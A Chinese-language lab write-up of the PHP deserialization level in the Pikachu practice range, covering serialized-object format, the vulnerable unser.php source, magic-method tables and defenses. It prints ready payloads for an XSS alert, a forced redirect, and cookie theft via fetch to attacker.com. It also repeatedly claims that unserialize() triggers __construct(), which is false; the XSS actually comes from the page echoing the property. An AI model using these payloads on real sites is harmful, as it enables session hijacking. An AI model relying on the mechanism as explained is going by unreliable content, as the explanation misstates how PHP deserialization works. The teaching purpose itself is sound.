Pikachu-PHP反序列化(超详解析)
PHP反序列化
序列化(Serialization):是指将对象或数据结构转换为可存储或传输的字符串格式的过程。
反序列化(Unserialization):是将这个字符串重新还原为原始对象的过程。
序列化格式示例:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
格式解析:
O:代表对象(Object)1:类名长度为1个字符"S":类名为S1:类中属性数量为1个{...}:属性键值对内容
s:4:"test":属性名为字符串,长度4,值为tests:7:"pikachu":属性值为字符串,长度7,值为pikachu漏洞成因:
- 反序列化的内容是用户可控的
- 程序中存在可被利用的魔法函数(
__destruct()、__wakeup()、__toString()等)- 未对反序列化的数据进行过滤和验证
一、白盒审计(源码分析)
访问 unser.php 文件,查看源码:
// 关键代码
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
if(isset($_POST['o'])){
$s = $_POST['o'];
// 直接反序列化用户输入,未做任何过滤
if(!@$unser = unserialize($s)){
$html .= "<p>大兄弟,来点劲爆点儿的!</p>";
} else {
$html .= "<p>{$unser->test}</p>";
}
}
漏洞成因:
- 定义了一个
S类,包含$test属性和__construct()构造函数 __construct()在对象创建时自动调用,会输出$test的值- 程序直接对用户POST提交的
o参数进行反序列化操作,未做任何过滤或验证 - 攻击者可以构造恶意的序列化字符串,在反序列化时触发代码执行或XSS
可用的魔法函数分析:
|
魔法函数 |
触发时机 |
利用价值 |
|
|
对象创建时自动调用 |
可用:输出 |
|
|
对象销毁时自动调用 |
潜在利用点 |
|
|
反序列化时自动调用 |
潜在利用点 |
|
|
对象被当作字符串使用时调用 |
潜在利用点 |
二、反序列化实战分析
第一步:理解正常序列化输出
编写PHP代码生成序列化字符串:
<?php
class S{
public $test = "pikachu";
}
$s = new S();
echo serialize($s);
?>
输出结果:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
第二步:正常反序列化
在靶场输入框中输入序列化字符串:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
点击提交,页面输出 pikachu。

第三步:注入XSS Payload
构造恶意序列化字符串:
编写PHP代码生成包含XSS Payload的序列化字符串:
<?php
class S{
public $test = "<script>alert('XSS')</script>";
}
$s = new S();
echo serialize($s);
?>
输出结果:

提交Payload:
在输入框中输入:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('XSS')</script>";}
点击提交,页面弹出 XSS 弹窗。

Payload解析:
- 反序列化时创建
S对象 __construct()构造函数被自动调用- 输出
$test属性的值:<script>alert('XSS')</script> - 浏览器解析并执行了恶意脚本
第四步:利用反序列化实现恶意跳转
构造恶意跳转Payload:
<?php
class S{
public $test = "<script>window.location.href='http://www.baidu.com'</script>";
}
$s = new S();
echo serialize($s);
?>
输出结果:
O:1:"S":1:{s:4:"test";s:60:"<script>window.location.href='http://www.baidu.com'</script>";}
提交后页面自动跳转到百度。
第五步:读取敏感信息(Cookie窃取)
构造窃取Cookie的Payload:
<?php
class S{
public $test = "<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>";
}
$s = new S();
echo serialize($s);
?>
输出结果:
O:1:"S":1:{s:4:"test";s:75:"<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>";}
提交后,Cookie会被发送到攻击者服务器。
三、PHP反序列化常用魔法函数
|
魔法函数 |
触发时机 |
利用场景 |
|
|
对象创建时自动调用 |
初始化操作,可能包含危险函数 |
|
|
对象销毁时自动调用 |
最常用:执行系统命令、文件操作等 |
|
|
反序列化时自动调用 |
反序列化后的初始化操作 |
|
|
序列化前自动调用 |
指定需要序列化的属性 |
|
|
对象被当作字符串使用时调用 |
输出可控内容,可能导致XSS |
|
|
调用不存在的方法时调用 |
动态方法调用,可能触发危险操作 |
|
|
读取不可访问属性时调用 |
属性劫持 |
|
|
写入不可访问属性时调用 |
属性劫持 |
|
|
对象被当作函数调用时调用 |
执行任意代码 |
四、实战利用流程图
1. 代码审计
↓
2. 寻找可利用的魔法函数
↓
3. 构造恶意对象
↓
4. 序列化生成Payload
↓
5. 提交Payload触发反序列化
↓
6. 魔法函数自动执行
↓
7. 实现攻击目标(XSS/命令执行/文件读取等)
五、各Payload总结
|
Payload类型 |
序列化字符串 |
效果 |
|
正常输出 |
|
输出 |
|
XSS弹窗 |
|
弹出XSS警告框 |
|
恶意跳转 |
|
跳转到百度 |
|
Cookie窃取 |
|
窃取Cookie |
六、防御措施
|
防御措施 |
说明 |
|
禁止反序列化不可信数据 |
永远不要对用户输入的数据进行反序列化操作 |
|
使用白名单类 |
只允许反序列化指定的安全类(PHP 7.0+ 的 |
|
输入验证 |
对反序列化前的字符串进行严格校验 |
|
禁用危险函数 |
在 |
|
最小权限原则 |
限制PHP运行用户的权限 |
|
使用安全替代方案 |
使用 JSON( |
七、核心结论
- 序列化/反序列化本身不是漏洞,漏洞产生于对用户可控数据进行反序列化,且配合可被利用的魔法函数。
- PHP反序列化漏洞的核心是魔法函数的自动调用链:
-
- 用户提交恶意序列化字符串 →
unserialize()→ 创建对象 → 触发__construct()/__wakeup()→ 对象销毁 → 触发__destruct()→ 执行恶意代码
- 用户提交恶意序列化字符串 →
- 防御的根本在于永远不要反序列化不可信数据。如果必须使用,应严格限制允许反序列化的类和属性。
- 本关卡的漏洞链条:
-
- 用户可控输入 → 直接
unserialize()→ 创建S对象 → 触发__construct()→ 输出$test值 → 浏览器执行XSS代码
- 用户可控输入 → 直接
更多推荐

所有评论(0)